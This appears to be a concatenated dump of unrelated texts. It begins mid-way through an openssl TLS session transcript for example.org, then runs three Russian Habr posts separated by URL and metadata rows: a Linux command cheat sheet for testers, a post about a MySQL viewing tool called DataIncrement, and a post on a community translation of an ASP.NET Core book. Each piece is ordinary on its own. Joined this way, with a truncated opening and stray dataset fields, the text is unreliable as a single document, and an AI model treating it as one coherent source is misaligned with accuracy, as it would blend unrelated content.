b3JhdGlvbiBmb3IgQXNzaWduZWQgTmFtZXMgYW5kIE51bWJlcnMxEzARBgNVBAsT
ClRlY2hub2xvZ3kxGDAWBgNVBAMTD3d3dy5leGFtcGxlLm9yZzCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQoCggEBANDwEnSgliByCGUZElpdStA6jGaPoCkrp9vV
rAzPpXGSFUIVsAeSdjF11yeOTVBqddF7U14nqu3rpGA68o5FGGtFM1yFEaogEv5g
rJ1MRY/d0w4+dw8JwoVlNMci+3QTuUKf9yH28JxEdG3J37Mfj2C3cREGkGNBnY80
eyRJRqzy8I0LSPTTkhr3okXuzOXXg38ugr1x3SgZWDNuEaE6oGpyYJIBWZ9jF3pJ
QnucP9vTBejMh374qvyd0QVQq3WxHrogy4nUbWw3gihMxT98wRD1oKVma1NTydvt
hcNtBfhkp8kO64/hxLHrLWgOFT/l4tz8IWQt7mkrBHjbd2XLVPkCAwEAAaOCA8Ew
ggO9MB8GA1UdIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBRm
mGIC4AmRp9njNvt2xrC/oW2nvjCBgQYDVR0RBHoweIIPd3d3LmV4YW1wbGUub3Jn
ggtleGFtcGxlLmNvbYILZXhhbXBsZS5lZHWCC2V4YW1wbGUubmV0ggtleGFtcGxl
Lm9yZ4IPd3d3LmV4YW1wbGUuY29tgg93d3cuZXhhbXBsZS5lZHWCD3d3dy5leGFt
cGxlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG
AQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv
bS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j
b20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG
CCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC
AjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj
ZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29t
L0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB
fwYKKwYBBAHWeQIEAgSCAW8EggFrAWkAdwCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb
37jjd80OyA3cEAAAAWdcMZVGAAAEAwBIMEYCIQCEZIG3IR36Gkj1dq5L6EaGVycX
sHvpO7dKV0JsooTEbAIhALuTtf4wxGTkFkx8blhTV+7sf6pFT78ORo7+cP39jkJC
AHYAh3W/51l8+IxDmV+9827/Vo1HVjb/SrVgwbTq/16ggw8AAAFnXDGWFQAABAMA
RzBFAiBvqnfSHKeUwGMtLrOG3UGLQIoaL3+uZsGTX3MfSJNQEQIhANL5nUiGBR6g
l0QlCzzqzvorGXyB/yd7nttYttzo8EpOAHYAb1N2rDHwMRnYmQCkURX/dxUcEdkC
wQApBo2yCJo32RMAAAFnXDGWnAAABAMARzBFAiEA5Hn7Q4SOyqHkT+kDsHq7ku7z
RDuM7P4UDX2ft2Mpny0CIE13WtxJAUr0aASFYZ/XjSAMMfrB0/RxClvWVss9LHKM
MA0GCSqGSIb3DQEBCwUAA4IBAQBzcIXvQEGnakPVeJx7VUjmvGuZhrr7DQOLeP4R
8CmgDM1pFAvGBHiyzvCH1QGdxFl6cf7wbp7BoLCRLR/qPVXFMwUMzcE1GLBqaGZM
v1Yh2lvZSLmMNSGRXdx113pGLCInpm/TOhfrvr0TxRImc8BdozWJavsn1N2qdHQu
N+UBO6bQMLCD0KHEdSGFsuX6ZwAworxTg02/1qiDu7zW7RyzHvFYA4IAjpzvkPIa
X6KjBtpdvp/aXabmL95YgBjT8WJ7pqOfrqhpcmOBZa6Cg6O1l4qbIFH/Gj9hQB5I
0Gs4+eH6F9h3SojmPTYkT+8KuZ9w84Mn+M8qBXUQoYoKgIjN
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=Los Angeles/O=Internet Corporation for Assigned Names and Numbers/OU=Technology/CN=www.example.org
issuer=/C=US/O=DigiCert Inc/CN=DigiCert SHA2 Secure Server CA
---
No client certificate CA names sent
Peer signing digest: SHA256
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 4643 bytes and written 415 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES128-GCM-SHA256
Session-ID: 91950DC50FADB57BF026D2661E6CFAA1F522E5CA60D2310E106EE0E0FD6E70BD
Session-ID-ctx:
Master-Key: 704E9145253EEB4E9DC47E3DC6725D296D4A470EA296D54F71D65E74EAC09EB096EA1305CBEDD9E7020B8F72FD2B68A5
Key-Arg : None
Krb5 Principal: None
PSK identity: None
PSK identity hint: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 68 84 4e 77 be e3 f5 00-49 c5 44 40 53 4d b9 61 h.Nw....I.D@SM.a
0010 - c9 fe df e4 05 51 d0 53-ae cf 89 4c b6 ef 6c 9e .....Q.S...L..l.
0020 - fe 12 9a f0 e8 e5 4e 87-42 89 ac af ca e5 4a 85 ......N.B.....J.
0030 - 38 08 26 e3 22 89 08 b5-62 c0 8b 7e b8 05 d3 54 8.&."...b..~...T
0040 - 8c 24 91 a7 b4 4f 79 ad-36 59 7c 69 2d e5 7f 62 .$...Oy.6Y|i-..b
0050 - f6 73 a3 8b 92 63 c1 e3-df 78 ba 8c 5a cc 82 50 .s...c...x..Z..P
0060 - 33 4e 13 4b 10 e4 97 31-cc b4 13 65 45 60 3e 13 3N.K...1...eE`>.
0070 - ac 9e b1 bb 4b 18 d9 16-ea ce f0 9b 5b 0c 8b bf ....K.......[...
0080 - fd 78 74 a0 1a ef c2 15-2a 0a 14 8d d1 3f 52 7a .xt.....*....?Rz
0090 - 12 6b c7 81 15 c4 c4 af-7e df c2 20 a8 dd 4b 93 .k......~.. ..K.
Start Time: 1574769867
Timeout : 300 (sec)
Verify return code: 0 (ok)
---
GET / HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 26 Nov 2019 12:04:38 GMT
Etag: "3147526947+ident"
Expires: Tue, 03 Dec 2019 12:04:38 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EC8)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256
Example Domain
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
div {
width: 600px;
margin: 5em auto;
padding: 2em;
background-color: #fdfdff;
border-radius: 0.5em;
box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
div {
margin: 0 auto;
width: auto;
}
}
Example Domain
==============
This domain is for use in illustrative examples in documents. You may use this
domain in literature without prior coordination or asking for permission.
[More information...](https://www.iana.org/domains/example)
```
Решение типовых задач в Linux
=============================
Изменить владельца файла
------------------------
Изменить владельца файла или директории можно с помощью команды ***chown***:
```
[user@testhost ~]$ chown user:user temp
[user@testhost ~]$ ls -l temp
-rw-rw-r-- 1 user user 31 Nov 26 11:09 temp
```
В параметр этой команде нужно отдать нового владельца и группу (опционально), разделенных двоеточием. Также при изменении владельца директории может быть полезна опция *-R* — тогда владельцы изменятся и у всего содержимого директории.
Изменить права доступа файла
----------------------------
Эта задача решается с помощью команды ***chmod***. В качестве примера приведу установку прав «владельцу разрешено чтение, запись и исполнение, группе разрешено чтение и запись, всем остальным — ничего»:
```
[user@testhost ~]$ ls -l temp
-rw-rw-r-- 1 user user 31 Nov 26 11:09 temp
[user@testhost ~]$ chmod 760 temp
[user@testhost ~]$ ls -l temp
-rwxrw---- 1 user user 31 Nov 26 11:09 temp
```
Первая 7 (это 0b111 в битовом представлении) в параметре означает «все права для владельца», вторая 6 (это 0b110 в битовом представлении) — «чтение и запись», ну и 0 — это ничего для остальных. Битовая маска состоит из трёх битов: самый младший («правый») бит отвечает за исполнение, следующий за ним («средний») — за запись, и самый старший («левый») — за чтение.
Также можно выставлять права с помощью специальных символов (*мнемонический синтаксис*). Например, в следующем примере сначала убираются права на исполнение для текущего пользователя, а затем возвращаются обратно:
```
[user@testhost ~]$ ls -l temp
-rwxrw---- 1 user user 31 Nov 26 11:09 temp
[user@testhost ~]$ chmod -x temp
[user@testhost ~]$ ls -l temp
-rw-rw---- 1 user user 31 Nov 26 11:09 temp
[user@testhost ~]$ chmod +x temp
[user@testhost ~]$ ls -l temp
-rwxrwx--x 1 user user 31 Nov 26 11:09 temp
```
У этой команды есть много вариантов использования, поэтому советую прочитать про неё подробнее (особенно про мнемонический синтаксис, например, [здесь](https://vps.ua/wiki/change-permissions/)).
Вывести содержимое бинарного файла
----------------------------------
Это можно сделать с помощью утилиты ***hexdump***. Ниже приведены примеры её использования.
```
[user@testhost ~]$ cat temp
Content of a file.
Lalalala...
[user@testhost ~]$ hexdump -c temp
0000000 C o n t e n t o f a f i l
0000010 e . \n L a l a l a l a . . . \n
000001f
[user@testhost ~]$ hexdump -x temp
0000000 6f43 746e 6e65 2074 666f 6120 6620 6c69
0000010 2e65 4c0a 6c61 6c61 6c61 2e61 2e2e 000a
000001f
[user@testhost ~]$ hexdump -C temp
00000000 43 6f 6e 74 65 6e 74 20 6f 66 20 61 20 66 69 6c |Content of a fil|
00000010 65 2e 0a 4c 61 6c 61 6c 61 6c 61 2e 2e 2e 0a |e..Lalalala....|
0000001f
```
С помощью этой утилиты можно вывести данные и в других форматах, однако наиболее часто могут пригодиться именно такие варианты её использования.
Искать файлы
------------
Найти файл по части имени в дереве каталогов можно с помощью команды ***find***:
```
[user@testhost ~]$ find test_dir/ -name "*le*"
test_dir/file_1
test_dir/file_2
test_dir/subdir/file_3
```
Также доступны другие опции и фильтры поиска. Например, так можно найти файлы в папке *test*, созданные более 5 дней назад:
```
[user@testhost ~]$ ls -ltr test
total 0
-rw-rw-r-- 1 user user 0 Nov 26 10:46 temp_clone
-rw-rw-r-- 1 user user 0 Dec 4 10:39 created_today
[user@testhost ~]$ find test/ -type f -ctime +5
test/temp_clone
```
Искать текст в файлах
---------------------
Справиться с этой задачей поможет команда ***grep***. У неё есть множество вариантов использования, здесь в качестве примера указан самый простой.
```
[user@testhost ~]$ grep -nr "content" test_dir/
test_dir/file_1:1:test content for file_1
test_dir/file_2:1:test content for file_2
test_dir/subdir/file_3:1:test content for file_3
```
Один из популярных способов использования команды *grep* — использование её в конвейере (*pipe*):
```
[user@testhost ~]$ sudo tail -f /var/log/test.log | grep "ERROR"
```
Опция *-v* позволяет сделать эффект *grep*'а обратным — будут выводиться только строки, не содержащие паттерн, переданный в *grep*.
Смотреть установленные пакеты
-----------------------------
Универсальной команды нет, потому что всё зависит от дистрибутива Linux и используемого пакетного менеджера. Скорее всего вам поможет одна из следующих команд:
```
yum list installed
apt list --installed
zypper se —installed-only
pacman -Qqe
dpkg -l
rpm -qa
```
Посмотреть, сколько места занимает дерево директорий
----------------------------------------------------
Один из вариантов использования команды ***du***:
```
[user@testhost ~]$ du -h -d 1 test_dir/
8,0K test_dir/subdir
20K test_dir/
```
Можно менять значение параметра *-d*, чтобы получать более подробную информацию о дереве директорий. Также можно использовать команду в комбинации с *sort*:
```
[user@testhost ~]$ du -h -d 1 test_dir/ | sort -h
8,0K test_dir/subdir
16K test_dir/subdir_2
36K test_dir/
[user@testhost ~]$ du -h -d 1 test_dir/ | sort -h -r
36K test_dir/
16K test_dir/subdir_2
8,0K test_dir/subdir
```
Опция *-h* у команды *sort* позволяет сортировать размеры, записанные в human readable формате (например, 1K, 2G), опция *-r* позволяет отсортировать данные в обратном порядке.
«Найти и заменить» в файле, в файлах в директории
-------------------------------------------------
Данная операция выполняется с помощью утилиты ***sed*** (без флага *g* в конце заменится только первое вхождение «old-text» в строке):
```
sed -i 's/old-text/new-text/g' input.txt
```
Можно использовать её для нескольких файлов сразу:
```
[user@testhost ~]$ cat test_dir/file_*
test content for file_1
test content for file_2
[user@testhost ~]$ sed -i 's/test/edited/g' test_dir/file_*
[user@testhost ~]$ cat test_dir/file_*
edited content for file_1
edited content for file_2
```
Вывести колонку из вывода
-------------------------
Справиться с этой задачей поможет ***awk***. В данном примере выводится вторая колонка вывода команды `*ps ux*`:
```
[user@testhost ~]$ ps ux | awk '{print $2}'
PID
11023
25870
25871
25908
25909
```
При этом надо иметь ввиду, что *awk* обладает гораздо более богатым функционалом, так что при необходимости работы с текстом в командной строке стоит почитать об этой команде подробнее.
Узнать IP адрес по имени хоста
------------------------------
С этим поможет одна из следующих команд:
```
[user@testhost ~]$ host ya.ru
ya.ru has address 87.250.250.242
ya.ru has IPv6 address 2a02:6b8::2:242
ya.ru mail is handled by 10 mx.yandex.ru.
[user@testhost ~]$ dig +short ya.ru
87.250.250.242
[user@testhost ~]$ nslookup ya.ru
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: ya.ru
Address: 87.250.250.242
```
Сетевая информация
------------------
Можно использовать ***ifconfig***:
```
[user@testhost ~]$ ifconfig
eth0: flags=4163 mtu 1500
inet 47.89.93.67 netmask 255.255.224.0 broadcast 47.89.95.255
inet6 fd90::302:57ff:fe79:1 prefixlen 64 scopeid 0x20
ether 04:01:57:79:00:01 txqueuelen 1000 (Ethernet)
RX packets 11912135 bytes 9307046034 (8.6 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 14696632 bytes 2809191835 (2.6 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73 mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 0 (Local Loopback)
RX packets 10 bytes 866 (866.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 866 (866.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```
А можно и ***ip***:
```
[user@testhost ~]$ ip a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid\_lft forever preferred\_lft forever
inet6 ::1/128 scope host
valid\_lft forever preferred\_lft forever
2: eth0: mtu 1500 qdisc pfifo\_fast state UP group default qlen 1000
link/ether 04:01:57:79:00:01 brd ff:ff:ff:ff:ff:ff
inet 47.89.93.67/19 brd 47.89.95.255 scope global eth0
valid\_lft forever preferred\_lft forever
inet6 fd90::302:57ff:fe79:1/64 scope link
valid\_lft forever preferred\_lft forever
3: ip\_vti0: mtu 1500 qdisc noop state DOWN group default
link/ipip 0.0.0.0 brd 0.0.0.0
```
При этом, если, например, вас интересует только IPv4, то можно добавить опцию *-4*:
```
[user@testhost ~]$ ip -4 a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default
inet 127.0.0.1/8 scope host lo
valid\_lft forever preferred\_lft forever
2: eth0: mtu 1500 qdisc pfifo\_fast state UP group default qlen 1000
inet 47.89.93.67/19 brd 47.89.95.255 scope global eth0
valid\_lft forever preferred\_lft forever
```
Посмотреть открытые порты
-------------------------
Для этого используют утилиту ***netstat***. Например, чтобы посмотреть все слушающие TCP и UDP порты с отображением PID'а процесса, слушающего порт, и с числовым представлением порта, нужно использовать ее со следующими опциями:
```
[user@testhost ~]$ netstat -lptnu
```
Информация о системе
--------------------
Получить данную информацию можно с помощью команды ***uname***.
```
[user@testhost ~]$ uname -a
Linux alexander 3.10.0-123.8.1.el7.x86_64 #1 SMP Mon Sep 22 19:06:58 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
```
Чтобы понять, в каком формате производится вывод, можно обратиться к *help*'у данной команды:
```
[user@testhost ~]$ uname --help
Использование: uname [КЛЮЧ]…
Печатает определенные сведения о системе. Если КЛЮЧ не задан,
подразумевается -s.
-a, --all напечатать всю информацию, в следующем порядке,
кроме -p и -i, если они неизвестны:
-s, --kernel-name напечатать имя ядра
-n, --nodename напечатать имя машины в сети
-r, --release напечатать номер выпуска операционной системы
-v, --kernel-version напечатать версию ядра
-m, --machine напечатать тип оборудования машины
-p, --processor напечатать тип процессора или «неизвестно»
-i, --hardware-platform напечатать тип аппаратной платформы или «неизвестно»
-o, --operating-system напечатать имя операционной системы
--help показать эту справку и выйти
--version показать информацию о версии и выйти
```
Информация о памяти
-------------------
Чтобы понять, сколько оперативной памяти занято или свободно, можно воспользоваться командой ***free***.
```
[user@testhost ~]$ free -h
total used free shared buff/cache available
Mem: 3,9G 555M 143M 56M 3,2G 3,0G
Swap: 0B 0B 0B
```
Информация о файловых системах (свободное место на дисках)
----------------------------------------------------------
Команда ***df*** позволяет посмотреть, сколько места свободно и занято на примонтированных файловых системах.
```
[user@testhost ~]$ df -hT
Файловая система Тип Размер Использовано Дост Использовано% Cмонтировано в
/dev/vda1 ext4 79G 21G 55G 27% /
devtmpfs devtmpfs 2,0G 0 2,0G 0% /dev
tmpfs tmpfs 2,0G 0 2,0G 0% /dev/shm
tmpfs tmpfs 2,0G 57M 1,9G 3% /run
tmpfs tmpfs 2,0G 0 2,0G 0% /sys/fs/cgroup
tmpfs tmpfs 396M 0 396M 0% /run/user/1001
```
Опция *-T* указывает, что нужно выводить тип файловой системы.
Информация о задачах и различной статистике по системе
------------------------------------------------------
Для этого используется команда ***top***. Она способна вывести разную информацию: например, топ процессов по использованию оперативной памяти или топ процессов по использованию процессорного времени. Также она выводит информацию о памяти, CPU, uptime и LA (load average).
```
[user@testhost ~]$ top | head -10
top - 17:19:13 up 154 days, 6:59, 3 users, load average: 0.21, 0.21, 0.27
Tasks: 2169 total, 2 running, 2080 sleeping, 0 stopped, 0 zombie
Cpu(s): 1.7%us, 0.7%sy, 0.0%ni, 97.5%id, 0.0%wa, 0.0%hi, 0.1%si, 0.0%st
Mem: 125889960k total, 82423048k used, 43466912k free, 16026020k buffers
Swap: 0k total, 0k used, 0k free, 31094516k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
25282 user 20 0 16988 3936 1964 R 7.3 0.0 0:00.04 top
4264 telegraf 20 0 2740m 240m 22m S 1.8 0.2 23409:39 telegraf
6718 root 20 0 35404 4768 3024 S 1.8 0.0 0:01.49 redis-server
```
Эта утилита обладает богатым функционалом, так что если вам надо часто ей пользоваться, лучше ознакомиться с её документацией.
Дамп сетевого трафика
---------------------
Для перехвата сетевого трафика в Linux используется утилита ***tcpdump***. Чтобы сдампить трафик на порте 12345, можно воспользоваться следующей командой:
```
[user@testhost ~]$ sudo tcpdump -i any -A port 12345
```
Опция *-A* говорит о том, что мы ходим видеть вывод в ASCII (поэтому это хорошо для текстовых протоколов), *-i any* указывает, что нас не интересует сетевой интерфейс, *port* — трафик какого порта дампить. Вместо *port* можно использовать *host*, либо комбинацию *host* и *port* (*host A and port X*). И еще полезной может оказаться опция *-n* — не конвертировать адреса в хостнеймы в выводе.
Что если трафик бинарный? Тогда нам поможет опция *-X* — выводить данные в hex и ASCII:
```
[user@testhost ~]$ sudo tcpdump -i any -X port 12345
```
При этом надо учитывать, что в обоих вариантах использования будут выводиться IP пакеты, поэтому в начале каждого из них будут бинарные заголовки IP и TCP. Вот пример вывода для запроса "*123*" посланного в сервер, слушающий порт 12345:
```
[user@testhost ~]$ sudo tcpdump -i any -X port 12345
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
14:27:13.224762 IP localhost.49794 > localhost.italk: Flags [P.], seq 2262177478:2262177483, ack 3317210845, win 342, options [nop,nop,TS val 3196604972 ecr 3196590131], length 5
0x0000: 4510 0039 dfb6 4000 4006 5cf6 7f00 0001 E..9..@.@.\.....
0x0010: 7f00 0001 c282 3039 86d6 16c6 c5b8 9edd ......09........
0x0020: 8018 0156 fe2d 0000 0101 080a be88 522c ...V.-........R,
0x0030: be88 1833 3132 330d 0a00 0000 0000 0000 ...3123.........
0x0040: 0000 0000 0000 0000 00 .........
```
Вместо вывода
=============
Конечно, в Linux есть еще много интересных вещей, о которых можно прочитать на Хабре, StackOverflow и других сайтах (в качестве примера приведу [The Art of a Command Line](https://github.com/jlevy/the-art-of-command-line), которая есть и [в переводе](https://github.com/jlevy/the-art-of-command-line/blob/master/README-ru.md)). Системные администраторы и DevOps используют гораздо больше команд и утилит для конфигурации серверов, но даже тестировщикам может не хватить перечисленных команд. Может потребоваться проверить корректность какого-то хитрого таймаута клиента к серверу или работа сервера при отсутствии свободного места на диске. Я уже не говорю про, например, Docker, который сейчас активно используется многими компаниями. Было бы интересно в рамках продолжения этой справочной статьи разобрать несколько примеров использования различных консольных утилит Linux в процессе тестирования сервисов? Также делитесь своим топом команд в комментариях :) | https://habr.com/ru/post/481398/ | null | ru | null |
# DataIncrement — дополнение к возможностям phpMyAdmin
Когда используешь что-то вроде phpMyAdmin для работы с данными в базе, всегда неудобно что связанное поле отображает просто число из другой таблицы, вместо конкретных данных, которые там прячутся.
Например, в поле `country\_id` стоят числа, а не название страны. Приходится прыгать из таблицы в таблицу. Или писать отдельный sql, что бывает зачастую неудобно, если надо по быстрому. Или с телефона набирать sql запрос не с руки. А если нужно обновить страну из поля `country\_id`, то опять прыгать из таблицы в таблицу. Короче — неудобно все это.
Проще показать в формате было-стало:
**Было**
**Стало**
### Задача
Сделать простую настройку для полей базы, чтобы отображать связанные данные из других таблиц. А еще чтобы их можно было обновлять прямо тут же.
### Решение
Эта задача давно меня мучила, по роду занятия веб-разработкой. Было несколько подходов к снаряду, в результате остановился на самом простом решении, которое только смог придумать. И главное, которым хотелось бы пользоваться самому, а не решать абстрактную проблему абстрактных пользователей.
В результате получился сайт [DataIncrement.com](http://dataincrement.com)
### Как работает DataIncrement
1. Подключаем свою базу данных на [DataIncrement](http://dataincrement.com), используя **host**, **name**, **pass**, **dbname** (пароль сохраняется в куках браузера или в сессии, т.е. на сайте не храниться, если что). У вас должен быть пользователь с возможностью подключения с любого хоста.
2. Регистрация всех действий происходит через подтверждение по почте. Возможно это спорное решение, но пока так. Поэтому идем в почту и жмем ссылку из письма. Таким образом подтверждаем подключение.
3. После этого можно перейти к списку подключенных БД, на главной странце [dataincrement.com](http://dataincrement.com)
4. Затем кликаем на подключенную БД — это будет страница со списком всех доступных таблиц.
5. Далее нужно перейти на вкладку «Links» (вторая ссылка от названия базы «Пример базы» на картинках «Было-Стало»), где нужно настроить связь между таблицами для отображения связанных данных. С помощью записи не хитрого текста, например:
```
@link city
country_id = country.country_id
name
region_id = region.region_id
name
```
Где:
* на первой строке: `@link` — это обозначение секции, а `city` — это имя таблицы
* далее обязательно с новой строки и обязательно отступ слева
* начинается описание полей таблицы *city*, для которых будет настроено отображение, т. е.
*country\_id = country.country\_id* — это поле *`city`.`country\_id`* = *`country`.`country\_id`*
* далее обязательно с новой строки и более глубоким отступом
* название поля для дополнительного отображения, т. е. *`country`.`name`*
Таким образом мы получаем отображение таблицы с картинки «Стало», где кроме реального значения поля, через точку с запятой отображается значение поля *`country`.`name`*. Таким же образом сделана настройка для другого поля *`region\_id `*, которое связано как видно из настройки с полем *`region`.`region\_id`*.
### Редактирование
Редактирование данных происходит по двойному клику в ячейке таблицы. Тогда внизу страницы появляется спец. панель где можно изменить значение и отправить данные на изменение.
Кроме редактирования простых полей, в будущем планирую поиск по связанным полям. Например, чтобы изменяя страну, можно было набрать часть имени и нужный id сам предлагался для заполнения. Собственно это стандартная функция подсказок при наборе поискового запроса.
Для настройки поисковых запросов будет использоваться похожий синтаксис, как и для секций `@link`, только с ключевым словом `@search`
```
@search city
country_id = country.country_id 10
name $*
```
где отличие заключается в том, что:
1. указывается ограничение возвращаемых строк, через пробел — это цифра **10**
`country_id = country.country_id 10`
2. далее указываются поля для отображения, но через пробел, дополнительно указывается поисковый шаблон, где доллар **$** — это введенное значение, а звездочка **\*** — означает какие угодно символы.
Сейчас у меня указано **$\*** для поля `country`.`name`, т. е. поиск по имени будет работать по начальным буквам слов в указанном поле.
Шаблон может иметь четыре варианта: **$**, **\*$**, **$\***, **\*$\***
### Заключение
В данный момент сайт представляет из себя вполне себе рабочий прототип, и может быть без стыда показан в свете. Что собственно и породило данную заметку.
Идей и планов много, однако пока этот проект у меня проходит как хобби, критика принимается как пища к размышлению. Хотя бы для того чтобы я бросил этими глупостями заниматься и начал заниматься другими глупостями.
Заметка написана, как попытка не загромождать главную страницу DI всякими «лендингами» с описанием не понятно чего, но чтобы можно было дать ссылку на описание и принцип работы. К тому же сразу с независимой критикой, из серии — «вам же говорили». | https://habr.com/ru/post/425939/ | null | ru | null |
# Книга «ASP.NET Core в действии» в правильном переводе команды DotNetRu
Полтора года назад мы [рассказывали](https://habr.com/ru/company/jugru/blog/498932/) про опыт совместной работы нашего сообщества [**DotNetRu**](https://dotnet.ru/) с издательством ДМК Пресс над переводом книги Конрада Кокосы «Управление памятью в .NET для профессионалов». Напомним суть: издатель делал первоначальный перевод, а ребята из сообщества в качестве экспертов доводили текст до ума, пока кровь из глаз не превратилась в слезы счастья. В итоге книга была успешно напечатана и выпущена в продажу, а эксперимент признан успешным.
И сегодня мы рады представить вам наш следующий совместный проект: книга Эндрю Лока **«ASP.NET Core в действии»** в правильном переводе DotNetRu. В продолжении поста — впечатления о процессе перевода от непосредственных участников и промокод на скидку от издательства.
Про ASP.NET Core
----------------
Небольшой ликбез для тех, кто 15 лет писал приложения на WinForms (а то и вовсе на джаве какой) и всё проспал. ASP.NET Core – это самый современный веб-фреймворк от Microsoft, который пришел на смену ASP.NET MVC и ASP.NET WebAPI. Опенсорсный, кроссплатформенный, универсальный. Прекрасно себя чувствует в облаках, но и локально работает не хуже. Благодаря модульной архитектуре на нем можно запилить хоть микросервисы, хоть бложик. Короче, любой современный дотнет-разработчик должен его знать, даже если он (о, ужас!) не владеет английским.
И если раньше для этого приходилось читать скучную документацию от Microsoft, помноженную на машинный перевод, то теперь есть вариант получше. Эндрю Лок — автор одного из самых популярных [блогов](https://andrewlock.net/), освещающих ASP.NET Core, Microsoft MVP и .NET-разработчик с внушительным стажем. Так что если читать книгу, посвященную ASP.NET Core во всей его полноте, то его кандидатура в качестве автора подходит как нельзя лучше. А добровольцы из сообщества постарались, чтобы компетенции Лока не оказались испорчены неудачным переводом.
Работа над переводом
--------------------
Мы многому научились в прошлый раз, работая над книгой Кокосы, и в этот раз было попроще. Слово непосредственным участникам.
---
##### Вадим Мингажев
UfaDotNet
> Прочитал несколько глав на английском, не все. Основное повествование простое, немного разговорное. Мне показалось, что в переводе немного потерялись задор и шутки, которые есть в оригинале. С переводами такое происходит часто.
>
> Было много времени на вычитку перевода, но как это часто бывает, основная работа пришлась на последние три недели. Тут повлияло несколько факторов. Во-первых, сообщество занимается вычиткой в свободное время. Во-вторых, нужно было синхронизировать много людей. Как говорится, то, что один программист делает за месяц, два сделают за два.
>
> Долго решали, какие тексты на русском взять за основу при переводе, чтобы термины были привычными для всех читателей книги. Сначала выбор пал на документацию Microsoft. На деле оказалось, что бороться против машинного перевода будет сложнее. Слово middleware переводится там как “[ПО промежуточного слоя](https://docs.microsoft.com/ru-ru/aspnet/core/fundamentals/middleware/extensibility)”, но никто так не говорит. Шли на компромиссы, искали переведённое слово в Google, чтобы читатель тоже мог легко найти материал по теме, а не оставался один на один с непонятным переводом. Уйти от англицизмов непросто. Слово “service” в английском подразумевает как службу, так и сервис, который передаётся в DI. В черновом переводе везде использовалось слово *службы*, поэтому пришлось быть внимательнее. Точно подобрать русские аналоги для узкоспециальных терминов нелегко, когда ты не погружен глубоко в предметную область. Как раз для таких случаев и нужна была помощь сообщества: перечитывали текст на английском и заново формулировали предложение на русском. В целом же перевод от издательства был изначально на уровне.
>
> Прочтение книги дало положительный эффект и помимо перевода. Книга не заменяет документацию, но структурирует знания. В итоге читатель проходит по нужной последовательности тем, и получает знания, которые может сразу применять. Многие из редакторов узнали что-то новое, а править текст в некоторых главах было по-читательски интересно. Спойлер: объяснение авторизации и аутентификации на примере аэропорта дорогого стоит.
>
>
---
##### Игорь Лабутин
SpbDotNet
> Мы в прошлый раз попробовали большой документ запихнуть в Google документ, работало не очень. Документ получается большой, навигация становится сложной, притормаживает. В этот раз сделали по-другому: каждую главу выделили в отдельный документ. Потом свели все документы в единую таблицу со ссылками на главы. Получилось как оглавление с примечаниями.
>
> Те, кто готов работать, выбирают свободную главу, отмечаются в табличке. Вычитывают текст, оставляя правки в режиме «предложить правку». То есть я вижу все правки и могу их принять или отвергнуть. Когда хотя бы один человек вычитал главу, по ней прохожу я, вычитываю сам и применяю правки всех, кто читал.
>
> Поскольку в этом процессе получается, что я прочитал каждую главу, то у меня есть некоторый обзор, где какие термины мы меняли. Дальше прохожусь по всем главам еще раз и поиском ищу места, где термины не были заменены по той или иной причине. Например, потому что с одним редактором договорились про какой-то термин только к 5-й главе, а стало быть, в главах 1-4 он может встречаться неисправленным.
>
> Дальше каждая глава книги экспортируется в Word и сравнивается с оригинальным документом от издательства. Получается документ с изменениями, который в свою очередь уже смотрит издательство и применяет правки в своём мастер-документе.
>
